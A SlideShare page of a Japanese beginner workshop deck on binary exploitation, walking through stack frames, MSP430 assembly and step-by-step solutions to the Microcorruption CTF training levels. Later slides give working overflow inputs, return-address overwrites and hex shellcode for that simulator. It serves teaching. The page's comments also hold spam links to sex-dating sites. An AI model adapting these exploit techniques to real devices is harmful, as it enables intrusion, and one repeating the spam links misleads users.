O slideshow foi denunciado.
Utilizamos seu perfil e dados de atividades no LinkedIn para personalizar e exibir anúncios mais relevantes. Altere suas preferências de anúncios quando desejar.

PWNの超入門 大和セキュリティ神戸 2018-03-25

4.059 visualizações

Publicada em

PWNの超入門 大和セキュリティ神戸 2018-03-25
microcorruption ctf

Publicada em: Tecnologia
  • Visit this site: tinyurl.com/sexinarea and find sex in your area for one night)) You can find me on this site too)
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • Sex in your area for one night is there tinyurl.com/hotsexinarea Copy and paste link in your browser to visit a site)
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • Girls for sex are waiting for you https://bit.ly/2TQ8UAY
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • Meetings for sex in your area are there: https://bit.ly/2TQ8UAY
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • Best site for flirting and sex in your area you can find there: https://bit.ly/2SlcOnO
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui

PWNの超入門 大和セキュリティ神戸 2018-03-25

  1. 1. PWNの超⼊⾨ 2018/3/25 @⼤和セキュリティ神戸 ⽥中ザック (@yamatosecurity)
  2. 2. PWN(ポーン)とは? • 元々「own」から来ている • 「own」= 自分の物にする。ハッカースラングで「侵⼊、支配」等 • 例:
 I owned/pwned him. (彼をハックした)
 I/he/they got owned/pwned. (ハックされた!)
 They’re owned/pwned bad. (あの会社は完全にハックされてる)
 機密情報が全部流出され、バックドア等も置かれているニュアンス • CTFではメモリ破壊系の脆弱性を悪用するバイナリ問題のジャンル
  3. 3. Pwnie Awards(ポニーアワード) • https://pwnies.com/ Blackhatの非公式アワード
  4. 4. メモリ破壊系の脆弱性 • Buffer Overflow (Stack Overflow) • Heap Overflow(ヒープオーバーフロー) • Format String (書式⽂字列攻撃) • Use After Free (UAF) (別名:Dangling Pointer) • Write What Where (任意の場所に任意の値を書き込む) • Type confusion (型の取り違え) • Rowhammer等々
  5. 5. バイナリ/仮想アドレス空間の構成 上位メモリ 下位メモリ 「プロテクトモード」や
 「ページング⽅式」等を
 ご存知ない⽅は wikipediaの記事を
 読んで下さい
  6. 6. 仮想アドレス空間の構成(32ビット) Base/Frame Pointer (Intel 32bit: EBP、64bit: RBP、ARM: R11、THUMB: R7)
 ベースポインターからのオフセットで関数のローカル変数を参照 (次の命令を指す。Intel 32bit: EIP、64bit: RIP、ARM等:PC
 別名:Instruction Pointer (IP)、命令ポインター) カーネルメモリ(上位メモリ) ユーザ モード メモリ Stack Pointer: スタックの先頭を指している。PUSH/POP命令に使う
  7. 7. スタック • プロセスの基本的なデータ構造 • LIFO - Last In First Out (後⼊れ先出し) • 関数が呼び出された時(call命令時)に、
 呼び出した関数のベースポインター、戻り値、関数の引数、
 関数のローカル変数をスタックに保存する • ⼀時的にデータを保存する時に使われる
  8. 8. バッファーオーバーフロー •ローカル変数のバッファーが溢れると
 保存されたベースポインターや戻り値が
 上書きされる •関数がreturnする時に上書きされた
 アドレスに⾶ばされる •攻撃者のコード(シェルコード)を
 AAAAのバッファーに置いて、
 戻り値をそのバッファーのアドレスに
 ⾶ばしたら任意のコード実⾏が可能 •シェルコードをそのアーキテクチャの
 機械語で書かないといけない •最近のOSではスタックにあるデータを
 実⾏できないので⼯夫が必要 下位メモリ 上位メモリ
  9. 9. CPUのレジスタ • CPUが内蔵する記憶回路(16/32/64ビットで小さいけど⼀番早い!) • 専用レジスタ:スタック、ベース、PC、ステータス等 • 汎用レジスタ:MSP430: r4-r15、ARM: r0-r12 • 汎用レジスタは値かメモリアドレスが格納されている • MSP430: • r0 = Program Counter (PC) • r1 = Stack Pointer (SP) • r2 = Status Register (SR) • r3 = Constant Generation (CG)
  10. 10. SR (ステータスレジスタ) • CPUが命令を実⾏後にフラグ(ビット)をセットする • CF(キャリーフラグ):
 ある桁での計算結果が、その桁で表すことのできる数を
 超えたときに、キャリーとして1つ上の桁へ加えられる。
 例:8ビットレジスタの場合:
 255 + 9 = 264だけど255がmaxなので、
 (264 & 255 = 8、CF = 1)。1 - 2 = 255、CF =1。 • ZF (ゼロフラグ):
 算術演算命令の結果が0であった場合、真 (ZF=1)。
 ADD、SUB等の演算命令。
 論理演算命令の結果が0であった場合、真 (ZF=1)。
 AND、OR等の論理演算命令 • NF (ネガティブフラグ):
 算術演算命令の結果がネガティブの場合
  11. 11. 関数 (Functions) •与えられた⽂字や数値に対し、
 定められた処理を⾏って結果を返す機能 •例:
 int add(int x, int y)
 {
 int sum;
 sum = x + y;
 return(sum);
 } •add(2,3) パラメータ (Parameters) 5がリターンされる。2と3が引数(Arguments) ローカル変数 (Local Variables) 戻り値(別名:返り値、Return Value)
  12. 12. 関数 (Functions) •プログラムは普段main()関数から始まる •int main()
 { 
 int sum; 
 sum = add(2,3);
 printf(“Result is %d ", sum);
 return 0;
 } add関数が終わったら
 次の命令(printf)に
 戻らないといけない。 そのため、何処かに
 戻りアドレス (Return Address)を
 保存しないといけない。 また、2と3の引数を
 何処かに保存しないと。
  13. 13. 関数 (Functions) •引数、リターンアドレス、ローカル変数は
 スタックに⼀時的に保存される! •add(2,3);をアセンブリ⾔語にすると、
 まず引数をスタックにPUSHしてからCALL add •PUSH 3 •PUSH 2 •CALL add スタック 3 2 SP SP
  14. 14. CALL命令 •CALL命令は次の命令のアドレスをスタックに
 保存(push)してから関数にJUMPする •PUSH <次の命令アドレス> •PC = 関数のアドレス •SPがpush/pop命令で
 自動的にトップに
 移動される スタック 3 2 SP SP戻りアドレス
  15. 15. 関数の構成 (アセンブリ) エピローグ コード プロローグ •プロローグ •BPを保存して (push ebp) •BP <= SP (mov esp, ebp) •SPを増やす (sub esp, 10)
 (ローカル変数のスペースを作る) •エピローグ •SP <= BP (mov ebp, esp) •古いBPをスタックからBPに戻す (pop ebp) •SPにある戻りアドレスに戻る (ret)
  16. 16. 関数 (Functions) スタック フレーム 下位メモリ 上位メモリ
  17. 17. 関数を呼び出す前に引数をPUSH mainの スタックフレーム BP (上位メモリ) SP (下位メモリ) PUSH 3 PUSH 2 スタック
 (mainの ローカル変数等) 3 (addの引数) 2 (addの引数) SP ※スタックは実は下に拡張
  18. 18. CALL命令 スタック
 (mainの ローカル変数等) 3 (addの引数) 2 (addの引数) SP戻りアドレス CALL <関数> まず戻りアドレスを保存 BP (MainのStack Frame)
  19. 19. プロローグ main()
 フレーム 3 (addの引数) 2 (addの引数) SP 戻りアドレス BP mainのBP 1. PUSH BP SP/BP main()
 フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス mainのBP 2. MOV SP, BP main()
 フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス mainのBP addの変数 BP SP 3. SUB SP, 10
  20. 20. エピローグ main()
 フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス mainのBP addの変数 BP SP 1. MOV BP, SP main()
 フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス mainのBP SP/
 BP main()
 フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス 2. POP BP SP BP 0.
  21. 21. エピローグ main()
 フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス 3. RET SP BP main()
 フレーム 3 (addの引数) 2 (addの引数) SP BP PC/IP = 戻りアドレス
  22. 22. アーキテクチャ • ⼆種類 • CISC (Complex Instruction Set Computer)
 (複雑命令セットコンピュータ) 例:Intel等
 メリット:プログラミングが少し楽になる
 デメリット:ハードウェアが複雑になるため、より電源を消費し、遅い • RISC (Reduced Instruction Set Computer)
 (縮小命令セットコンピュータ) 例:マイコン、ARM、MSP430等々
 メリット:パフォーマンスがCISCより2~4倍速い。低消費電⼒。
 デメリット:プログラムサイズが増える
  23. 23. アセンブリ⾔語のシンタックス • ⼆種類 • Intel (Windows等)
 <命令> <dst>(転送先), <src> (転送元) (オペランドの⽅向:←) • AT&T (Linux GDB等)
 <命令> <src> (転送元), <dst>(転送先) (オペランドの⽅向:→)
 mov #0x2400, r15 (“0x2400”の2バイト(word)をr15にコピー)
 mov.b #0x4b, 0x0(r15) (“0x4b”の1バイトをr15オフセット0にコピー)
 mov.b #0x7a, 0x1(r15) (“0x4b”の1バイトをr15オフセット1にコピー)
 mov.b @r15, r14 (r15にあるメモリアドレスにある値をr14にコピー)
 mov &0x015c, r5 (0x015cのメモリアドレスにある値をr5にコピー)
  24. 24. エンディアン(バイト順) • ⼆種類 • ビッグエンディアン (最上位ビット (MSB)が左。Solaris、PowerPC等) • リトルエンディアン(最下位ビット (LSB)が左。Intel等)
  25. 25. 重要なアセンブリ •CALL: 関数を呼び出す。
 PUSH PC+2(次の命令をスタックに保存)
 PC = dst •CLR = レジスタをクリア(reg = 0) •CMP = CoMPare (dst - src、0の場合は⼀致) •INC = INCrement (+1) •INCD = Double INCrement (+2) •JC = Jump if Carry set •JEQ/JZ = Jump if EQual/Zero •JMP = JuMP •JN = Jump if Negative set
  26. 26. 重要なアセンブリ •JNC = Jump if Not Carry •JNE/JNZ = Jump if Not Equal/Zero •MOV = データをコピー •NOP = 何もしない •POP = SPのアドレスにあるデータを
 レジスタにコピーし、SP = SP +2 •PUSH = SP = SP - 2、レジスタにある
 データをSPにコピー •RET = 関数からリターン
 PC = @SP、SP = SP + 2 •SXT = Sign eXTension (8bitのMSBを16bitにextend)
 例:00000000 10000000 → 11111111 10000000 11111111 00000000 → 00000000 00000000 •TST(.b) = CMP(.B) #0, xxx (0かどうかチェック)
  27. 27. 重要なアセンブリ •命令に「.b」が付いている場合は、
 2バイト(16bit)ではなく、1バイト(8bit)の値に対して命令を実⾏する •例:mov.b #0x0, -0x4(r4)
 ヌルバイト(0x0)をr4のメモリアドレスオフセット-0x4にコピー
 (r4 = 2444だったら、2440がヌルバイトで上書きされる。
 2441は影響なし)
  28. 28. Microcorruption CTF • https://microcorruption.com/ (Matasano (現在NCC Group) & Squareが提供) • バイナリ下忍(初⼼者)のためのCTF • ウェブブラウザだけでプレーできる!ツール等不要! • MSP430のRISC、リトルエンディアン、Word Aligned(アドレスは偶数) • 世界中の倉庫の電⼦錠をハックしていくというストーリー • マニュアル:https://microcorruption.com/manual.pdf
 (Cのサンプルコードあり。必ずRTFM!) • その他のMSP430 Assemblyマニュアル:
 http://www.ece.utep.edu/courses/web3376/Notes_files/ee3376-assembly.pdf
 http://www.ece.uah.edu/~milenka/cpe323-10S/lectures/cpe323msp430_ISA.pdf
  29. 29. 割り込み • ソフトウェア割り込み (Interrupt):
 マイコンの&0x0010にカーネルモードに⼊るためのcallgateがある。
 割り込みを使って、コンソールからPWを⼊⼒したり、
 メッセージを出⼒したりできる。
 割り込みの種類はステータスレジスタのR2の上位バイトから渡される。 引数はスタックから渡される。 • ソフトウェア割り込み「0x7F」で電⼦錠を解除する • INT 0x00: putchar (1バイトを出⼒)

  30. 30. 割り込みの⼀覧 •INT 0x00: putchar (1バイトを出⼒) •INT 0x01: getchar (1バイトを⼊⼒) •INT 0x02: gets(dst_address, max_length)(複数のバイトを⼊⼒)(ヌルバイトで⽌まる) •INT 0x10: DEP (データ実⾏防⽌)を有効にする •INT 0x11: メモリページを実⾏可能か書込可能のどちらかにする •INT 0x20: rand (16ビットの乱数⽣成) •INT 0x7D: HSM-1に接続。⼀番目の引数は⼊⼒されたPW、
 ⼆番目はPWが⼀致した時のフラグのメモリアドレス •INT 0x7E: HSM-2に接続。引数が⼊⼒されたPW
  31. 31. HSM •Hardware Security Module •Model 1 • 割り込み「0x7D」でパスワードをマイコンからHSMに送る • パスワードが⼀致した場合は、メモリのある所のバイトをセットする •Model 2 • よりセキュアなHSMで直接HSMから解除する • 割り込み「0x7E」でパスワードをマイコンからHSMに送って
 HSMにあるPWと⼀致した場合はHSMが直接解除する
  32. 32. CTFの正しいやり⽅ •※やり過ぎて、しんどくなって諦めたら意味無い!!ので
  頑張り過ぎないように!(笑) •まず、⼀回問題に挑戦してみる! •自分の限界まで来たら、頭を冷やしてもう⼀回挑戦するか、
 ヒントを見る •また限界まで来たら次のヒントや解説(write up)を見る •Write upが無い場合は先輩などに聞く (ソーシャルハック) •何より楽しむのが⼤事!!!  •※グループでやった⽅が楽しいし、勉強になる!
  33. 33. 0. Tutorial •https://microcorruption.com/でアカウントを作成して、
 Tutorialを⾔われる通りやって下さい
  34. 34. 「⼤熱⾎! アセンブラ⼊⾨」 by 坂井 弘亮
  35. 35. その他のバイナリハッキングのコツ • プロローグとエピローグの
 コードをあまり気にしないで
 その間のコードを解析する! • バッファオーバフローの場合、
 戻りアドレスが上書きされる
 ので、「ret」にbreakpointを
 付けて、spの値を確認したり
 解析して下さい • sかnでレジスタとスタックの
 メモリダンプを見ながら解析 プロローグ エピローグ
  36. 36. その他のバイナリハッキングのコツ •A型、完璧主義者は絶対駄目!!! •全部理解しようとしたらしんどいし、不可能!! •まず問題を解ければ良い! •余裕があれば、問題を解いてから
 更に解析しても良い
 ※ストレスがたまらない程度にね!
  37. 37. 1. New Orleans (10点) • Bluetoothなんちゃらと
 書いてあるけど無視して良い • 取り敢えず
 cでスタート
 適当にパスワードを⼊⼒
 sでステップ
 パスワードを探して下さい
  38. 38. New Orleans • PWを⼊⼒後、
 check_passwordが
 呼ばれる • tst r15 (return valueを確認)
 ZF=1の場合は
 #4462: Access Granted
 0の場合は、
 次の命令で
 「Invalid password」 • 他に面白い関数ある?
  39. 39. New Orleans ヒント1
  40. 40. New Orleansヒント1 • ループで1バイト単位で
 ⼊⼒したPWがr14の
 アドレスにあるPWと⼀致
 しているかどうか確認している • ハードコードされたPWが
 分かったらsolveで解く!
  41. 41. New Orleans ヒント2
  42. 42. New Orleansヒント2 • create_passwordの関数が
 気になる! • break create_passwordで
 sしたらパスワードを
 Memory Dumpで確認
  43. 43. New Orleansの答え
  44. 44. New Orleansの答え パスワードが「Kz5+{g5」でござる ※プレーヤーによってPW、アドレス、カナリア等が違うのでコピペで解けない!!
  45. 45. 2. Sydney (15点) •「前のモデルはメモリからパスワード
 を取得できる脆弱性の報告があった
 ので、修正しました」 •取り敢えず適当にPWを⼊⼒し、
 sで解析して下さい
  46. 46. Sydney ヒント1
  47. 47. Sydney ヒント1 • cmp命令でパスワードの最初の
 2バイトが0x5021であるかどうか
 確認している・・ • ⼀致しない場合は、
 44acに⾶んでr14とr15をゼロにする • mainに戻った時にゼロフラグがセット
 されているので、4452でAccess Grantedに
 ⾶ばないでInvalid Passwordで終了
  48. 48. Sydney ヒント2
  49. 49. Sydney ヒント2 Little/Big Endianにご注意を!
  50. 50. Sydneyの答え
  51. 51. Sydney の答え PW: 2150735d53472639 ※プレヤーによって
 フラグが異なる可能性がある
  52. 52. 3. Hanoi (20点) • ハードウェアセキュリティモジュール 「LockIT Pro HSM-1」に接続している • https://microcorruption.com/manual.pdf • Interrupt 0x7DでパスワードをHSMに送る • パスワードが⼀致した場合はメモリのある所の
 バイトがセットされる
  53. 53. Hanoi ヒント1
  54. 54. Hanoi ヒント1 •455aでパスワードが正しい
 かどうかチェックしている •HSM-1が&0x2410にパスワード
 チェックのリターン値を
 セットしているっぽい
  55. 55. Hanoi ヒント2 バッファーオーバーフロー!
  56. 56. Hanoi の答え
  57. 57. Hanoiの答え 88 x (17回)をPWに⼊れると
 リターン値が上書きされて ロックが解除される
  58. 58. 4. Cusco (25点) •また「LockIT Pro HSM-1」に接続している •「長過ぎるパスワードに関する問題を修正した」
  59. 59. Cuscoのヒント1 またバッファーオーバーフロー!
  60. 60. Cuscoのヒント2 18-19バイト目で好きなアドレスに
 PCを⾶ばすことができる。 何処に⾶ばしたらロックが解除される?
  61. 61. Cuscoの答え • 4528のunlock_doorは? • PW: 
 414141414141414141414141414141412845
 41 x 16回 + 2845
  62. 62. 5. Reykjavik (35点) •軍用の強度な暗号を利用している •HWセキュリティモジュールに接続していない •暗号化されているのでパスワードをメモリから読めない
  63. 63. Reykjavikヒント1
  64. 64. Reykjavikのヒント1 •パスワード確認コードは暗号化されている •スタックから実⾏されるので、
 上⼿く逆アセンブルできなくて見づらい •パスワードを⼊⼒後に「s」で命令をチェック
  65. 65. Reykjavikヒント2 cmpを探して下さい
  66. 66. Reykjavikの答え PW: hexで21af
  67. 67. 6. Whitehorse (50点) HSM-2に接続している
  68. 68. Whitehorseヒント1
  69. 69. Whitehorseのヒント1 バッファオーバーフローの問題
  70. 70. Whitehorseヒント2
  71. 71. Whitehorseのヒント2 使えるアドレス(解除してくれるアドレス) が無いのでシェルコードを書く必要がある
  72. 72. Whitehorseヒント3
  73. 73. Whitehorseのヒント3 •使えるアドレス
 (解除してくれるアドレス)が無いので
 シェルコードを書く必要がある •0x7eを呼び出す事は
 できるけど役に立たない •(HSM-2側で認証/解除を⾏っている)
  74. 74. Whitehorseの答え
  75. 75. Whitehorseの答え •シェルコード:
 3012 7f00 PUSH #x7f
 b012 3245 call <INT> •パスワードが3884から始まるので
 PW: 30127f00b012324541414141414141418438
 (3012 7f00 b012 3245 + (41 x 8) + 8438)
  76. 76. 7. Johannesburg (20点) •HSM-1に接続している •「長過ぎるPWを拒否する」
  77. 77. Johannesburgのヒント
  78. 78. Johannesburgのヒント •PWの長さをカナリアで確認している
  79. 79. Johannesburgの答え
  80. 80. Johannesburgの答え •18バイト目が0x9cかどうかチェックしている
 (カナリアが上書きされているかどうかチェック) •PW: 9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c4644
 (9c x 18) + 4644で4446のunlock_door関数に⾶ばす
  81. 81. 8. Montevideo (50点) •HSM-2に接続している •「Shift Leftでセキュア開発している」
  82. 82. Montevideoヒント1
  83. 83. Montevideoのヒント1 •strcpyされているので、
 ヌルバイトが使えない!つらい! •使えたらWhitehorseのように
 3012 7f00 push#0x7f
 b012 4c45 call #0x454c <INT>
 で簡単にできる・・ •ヌルバイトなしで使える命令ある?Assembly頑張って!
  84. 84. Montevideoヒント2
  85. 85. Montevideoのヒント2 •break 4460 <INT> •sでINT 0x7eを解析 •どうやってINT 0x7fのシェルコードを作成? •(ヌルバイト無しで・・)
  86. 86. Montevideoヒント3
  87. 87. Montevideoのヒント3 •INT 0x7fを解析したら
 sr = ff00
 call 0x10
 できたら解除できる •検証:(プログラムの何処でもbreakして)
 let sr = ff00
 let pc = 455c (call 0x10)
 c
 したら解除される
  88. 88. Montevideoヒント4
  89. 89. Montevideoのヒント4 •1つのやり⽅:
 mov ????, r15 (バイト順に注意)
 inc r15 (0xff00になるように)
 mov r15, r2 (r2 = sr) 
 call #0x0010 (call 0x10)
  90. 90. Montevideoヒント5
  91. 91. Montevideoのヒント5 • 3f40 feff mov #0xfffe, r15
 1f53 inc r15
 024f mov r15, r2 
 b012 1000 call #0x0010 •最後にヌルバイトがあるので、
 シェルコードを最後にする必要がある ゴミ(AAAAAA・・・) 戻り値
 改ざん シェルコード
  92. 92. Montevideoの答え
  93. 93. Montevideoの答え1 •ゴミデータ: A * 16 •戻り値改ざん:0x4402 (4400にヌルあるため) •シェルコード(SC):3f40fffe1f53024fb0121000 •ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC •PW: 41414141414141414141414141414141
 024442423f40fffe1f53024fb0121000
  94. 94. Montevideoの
 他の解き⽅
  95. 95. ヌルの無いシェルコード作成(上級) •Kali/DebianからgccのMSP430プラグインをインストール必要がある •デフォルトのレポジトリに⼊っていないので⼀時的にdebian repoを追加 •leafpad /etc/apt/sources.listで以下の追加/保存:
 deb http://deb.debian.org/debian stretch main
 deb-src http://deb.debian.org/debian stretch main •apt-get update •apt-get install gcc-msp430 gdb-msp430 •debianレポジトリを削除:
 leafpad /etc/apt/sources.list で上記のrepoを削除
 rm /etc/apt/sources.list.d/nodesource.list (なぜかこれが作成されるので削除)
  96. 96. ヌルの無いシェルコード作成(上級) • leafpad msp430-shellcode.cで以下のようなシェルコードを作成
 main() { asm( "mov #0xf010, r4n” //r4 = 0xf010 (1111 0000 0001 0000) "and #0x0fff, r4n” // & 0x0fff (0000 1111 1111 1111) // r4 = (0000 0000 0001 0000) (= 0x10, 16) "mov #0xff01, r2n” // r2 (SR) = 0xff01 "dec r2n” // r2 (SR) = 0xff00 "call r4n” // Call 0x10 ); } •msp430-gcc -O0 -mmcu=msp430g2553 ./msp430-shellcode.c -o msp430-shellcode
  97. 97. ヌルの無いシェルコード作成(上級) • msp430-objdump -d ./msp430-shellcode(でdisassemble) • msp430-gdb ./msp430-shellcode(でも同じようにできる)
 (gdb) disas /r main
  98. 98. ヌルの無いシェルコード作成(上級) • なんと!こんなめんどくさいことをやらなくても、
 サイトにMSP430アセンブラあったわ! • https://microcorruption.com/assembler
  99. 99. Montevideoの答え(2) •ゴミデータ: A * 16 •戻り値改ざん:0x4402 (4400にヌルあるため) •シェルコード(SC):344010f034f0ff0f324001ff12838412 •ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC •PW: 41414141414141414141414141414141
 02444242344010f034f0ff0f324001ff12838412 •ヌル無いけど、SCが12バイトから16バイトに増えた!
  100. 100. Montevideoの答え(3) •ゴミデータ: A * 16 •戻り値改ざん:0x4460 (Call <INT>) •シェルコード(とは⾔えないけど):7f (1バイト!) •PW: 41414141414141414141414141414141
 60447f •Call <INT>したらSPが0x7fになるので、
 ロックが解除される
  101. 101. 9. Santa Cruz (50点) •長過ぎるパスワードを
 拒否する •HSM-1に接続している •ユーザ名も必要!
  102. 102. •もう資料作成疲れた∼ •皆さん、できる所まで頑張って楽しんで下さいね! •(ネットの何処かに英語のwrite upがあるので、
 限界まで来たらそれをご参考に∼) •最後までできたら、結構強くなるはず!

×